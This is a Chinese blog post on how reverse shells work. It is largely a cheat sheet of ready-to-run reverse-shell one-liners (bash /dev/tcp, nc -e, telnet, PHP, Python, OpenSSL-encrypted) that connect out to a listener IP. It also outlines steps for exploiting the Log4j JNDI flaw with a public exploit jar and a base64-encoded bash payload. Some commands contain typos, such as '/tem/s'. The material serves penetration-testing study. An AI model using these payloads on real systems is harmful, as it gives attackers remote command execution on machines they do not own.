各种反弹shell原理

Posted Darkid-98

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了各种反弹shell原理相关的知识,希望对你有一定的参考价值。

各种反弹shell原理

一、理解反弹shell

1、为什么需要反弹shell

当正向连接不可达时候

  • 客户机中了木马,但是在局域网内,无法正向连接。
  • 由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求

2、原理

反弹shell:控制端监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端

二、常用的反弹shell命令

1、bash进行反弹

(1)在windows上启动监听端口

nc -lvp 4444

l:代表入站监听
v:代表输出信息级别
p:代表监听的端口

(2)在Linux上允许反弹shell

bash -i >& /dev/tcp/192.168.0.1/4444 0>&1

bash -i:打开一个交互式的bash
>&:将标准错误输出合并并重定向到标准输出,也可以写成&>
/dev/tcp/192.168.0.1/4444:调用socket,建立socket连接,其中192.168.0.1为要反弹的主机IP,4444为端口
0>&1:标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&10<&1作用相同

/dev/tcp 说Linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个bash命令行的过程中。

三种输入输出的状况:
标准输入:代码为0;或称为stdin;使用的方式为<
标准输出:代码为1;或称为stdout;使用方式为1>
错误输出:代码为2;或称为stderr;使用方式为2>

2、使用exec执行shell的方式

exec 5<> /dev/tcp/192.168.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

3、其他方式

exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/192.168.0.1/4444; sh <&196 >&196 2>&196 

4、使用nc进行反弹shell

(1)启动kali监听

nc -lvp 4444

(2)靶机反弹shell

nc -e /bin/bash 192.168.0.1 4444

5、使用telnet进行反弹

(1)在攻击机上启两个端口,一个输入,一个输出

nc -lvp 4444
nc -lvp 5555

(2)在目标机上反弹

telnet 192.168.0.1 4444 | /bin/bash | telnet 192.168.0.1 5555

三、基于编程语言的反弹shell

1、基于php的反弹

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

2、基于python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

四、加密反弹shell

1、在攻击机上生成证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

国家代码输入cn

2、在攻击机上监听

openssl s_server -quiet -key key.pem -cert.pem -port 4444

3、在目标机上执行反弹

mkfifo /tem/s; /bin/bash -i < /tem/s 2>&1 | openssl s_client -quiet -connect 192.168.0.1:4444 > /tem/s;rm /tem/s

Log4j反弹shell

参考技术A 服务器到期的最后几个小时 先操作一波~

1:exp jar包 JNDI-Injection-Exploit
2:利用dnslog平台做初步验证

3:一台服务器作为反弹shell监听, 如果没有服务器可以去百度下NATappAPP、花生壳等做本机隐射
4:靶机平台百度搜一堆, 封神台、cftshow等
5:注意的坑:服务器端口需要开放, 服务器若是在阿里云、腾讯云直接装宝塔(作为一个PHP叼毛开发用宝塔是真香,商城中的各种环境,文件上传,开端口等~~~)

1: 先去dnslog获取一个地址,提交到cft练手(靶机)的平台,看是否存在Log4j日志漏洞

漏洞基于ldap协议 , 提交到靶场的平台。

提交后dns解析返回 , 确定存在该漏洞。

1: 对bash -i 进行base64编码( http://tool.chinaz.com/tools/base64.aspx )
2: 使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

3:利用ldap协议,生成的poc直接打

反弹shell:

以上是关于各种反弹shell原理的主要内容,如果未能解决你的问题,请参考以下文章

网络安全-反弹shell详解(攻击,检测与防御)

利用 Bash 反弹 shell

Log4j反弹shell

反弹shell小结

网络安全——使用反弹木马进行提权获取主机Shell

反弹shell原理